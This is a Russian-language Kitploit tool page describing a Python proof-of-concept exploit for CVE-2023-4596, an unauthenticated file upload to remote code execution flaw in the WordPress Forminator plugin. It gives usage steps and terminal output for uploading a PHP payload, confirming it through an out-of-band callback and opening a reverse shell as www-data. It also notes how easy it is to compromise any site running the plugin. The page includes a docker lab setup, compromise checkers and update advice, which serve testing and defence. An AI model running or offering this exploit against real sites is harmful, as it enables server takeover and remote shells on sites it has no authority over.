Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-4596 — PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads. | Kitploit
Инструменты/GitHubGitHub/e1a/cve-2023-4596
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHube1a/cve-2023-4596

CVE-2023-4596

PoC Script for CVE-2023-4596, unauthenticated Remote Command Execution through arbitrary file uploads.

Репозиторий
24511 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-4596

PoC-скрипт для CVE-2023-4596: неаутентифицированное удалённое выполнение команд через произвольную загрузку файлов.

Видео использования PoC
Шаблон Nuclei
Новостная статья
WordFence
NVD Nist

Краткое описание

Критическая уязвимость обнаружена в плагине WordPress Forminator, которая позволяет неавторизованному атакующему загружать произвольные файлы на сервер. Первоначальный proof of concept (PoC) был написан плохо: исследователь поделился лишь несколькими невнятными скриншотами и запросом с необъяснённым кодом. Поэтому я написал Python-скрипт, чтобы упростить и автоматизировать этот процесс.

Уязвимость вызвана ошибкой в процессе проверки типов файлов. При попытке загрузить запрещённый формат файла, например PHP, появляется предупреждение о том, что «расширение загружаемого файла не разрешено». Несмотря на это уведомление, загруженный файл не блокируется, а успешно сохраняется и становится доступен в папке «/wp-content/uploads» сайта. Эта уязвимость может привести к удалённому выполнению кода.

Forminator в настоящее время активен более чем на 400 000 сайтов, а из-за простоты уязвимости довольно легко получить контроль над любым сайтом, на котором работает Forminator с включённой загрузкой файлов.

Использование

Найдите страницу, на которой работает Forminator <= 1.24.6 с функцией загрузки файлов. Скопируйте полный URL страницы, которая отправляет postdata загрузки файлов с помощью Forminator; если указан только домен, скрипт выдаст ошибку. Вы можете использовать interactsh или Burp Collaborator для генерации ссылки, которую нужно вставить в выбранное поле. После успешной загрузки в interactsh или Burp в течение 5 секунд появится запрос, указывающий, что экземпляр уязвим.


Проверка уязвимости экземпляра без причинения вреда

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Input out-of-band link: <input link>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php

[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request

Извлечение версии для проверки уязвимости экземпляра

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


[+] Vulnerable version found: 1.24.6

Запуск reverse shell на экземпляре

root@kitploit:~
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r

______                   _             _              ______  _____  _____
|@E1A |                 (_)           | |             | ___ \/  __ \|  ___|
| |_ ___  _ __ _ __ ___  _ _ __   __ _| |_ ___  _ __  | |_/ /| /  \/| |__
|  _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| |    / | |    |  __|
| || (_) | |  | | | | | | | | | | (_| | || (_) | |    | |\ \ | \__/\| |___
\_| \___/|_|  |_| |_| |_|_|_| |_|\__,_|\__\___/|_|    \_| \_| \____/\____/


Enter IP address: <input IP>
Enter port: <input port>

[+] Sending payload to target
[+] Successful file upload!

Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php

[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell



user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Как работает скрипт?

Скрипту нужны только полный URL страницы, использующей Forminator с включённой загрузкой файлов, и ссылка interactsh, чтобы определить, уязвим ли экземпляр. Первый запрос отправляется на страницу для извлечения forminator_nonce и form_id — значений, уникальных для каждой страницы. После получения этих значений отправляется второй запрос, использующий извлечённые значения, и PHP-файл загружается. Этот PHP-файл использует ссылку interactsh, указанную пользователем ранее, и добавляет её в скрипт. Когда страница, на которой расположен PHP-скрипт, посещается, в interactsh появляется запрос, показывающий, что сайт уязвим. Regex используется для разделения URL на части, которые затем применяются в запросе; он также используется для определения версии Forminator, которая выводится при использовании аргумента -v. Расположение загружаемого файла зависит от того, в каком году и месяце вы его загружаете. Поэтому я использовал datetime для определения текущих месяца и года, которые также используются позднее для отправки запроса к местоположению загруженного файла. При тестировании уязвимости я использовал одно имя файла, но после отправки нескольких файлов заметил, что запускается только первый загруженный файл. Чтобы исправить это, для каждого запроса используется случайная строка.

Известные ошибки

[-] Could not extract forminator_nonce
Этот эксплойт работает только тогда, когда указана ссылка на точную страницу, где включена загрузка файлов через Forminator. Если указать только домен или страницу, на которой не выполняется загрузка файлов, он выдаст ошибку. Это связано с тем, что он извлекает forminator_nonce из предоставленного URL, и если на этой странице не работает Forminator или его загрузка файлов, он не может найти значение и не может его использовать. Вы также можете проверить это, найдя строку "forminator-field-post-image-postdata" в исходном коде сайта. Полная ссылка, например, выглядит так: http://127.0.0.1:8000/?p=7. Полное описание проблемы можно найти здесь.

Как проверить, были ли вы скомпрометированы

Я включил в репозиторий два файла (checker.sh и checker.bat), которые проверяют текущую папку и вложенные папки на наличие файлов с заблокированным расширением. При обнаружении такие файлы отображаются. Причина создания этого скрипта в том, что на каждый месяц, в течение которого был установлен плагин, создаётся новая папка, и проверка всех их вручную может быть очень трудоёмкой.

Устранение уязвимости

Обновитесь до последней версии

Установка

  1. cd CVE-2023-4596/ && docker-compose up -d
  2. Перейдите по адресу http://127.0.0.1:8000
  3. Создайте учётную запись WP и скачайте уязвимый плагин здесь
  4. Создайте форму с postdata или загрузкой файла и опубликуйте её в записи
  5. Вставьте полный URL в команду и запустите её.
  6. Наслаждайтесь ( /・・)ノ

Отказ от ответственности

Предоставленный скрипт предназначен только для образовательных целей; я не несу ответственности за ваши действия.


Twitter
Автор: Finn van der Knaap

Скачать инструмент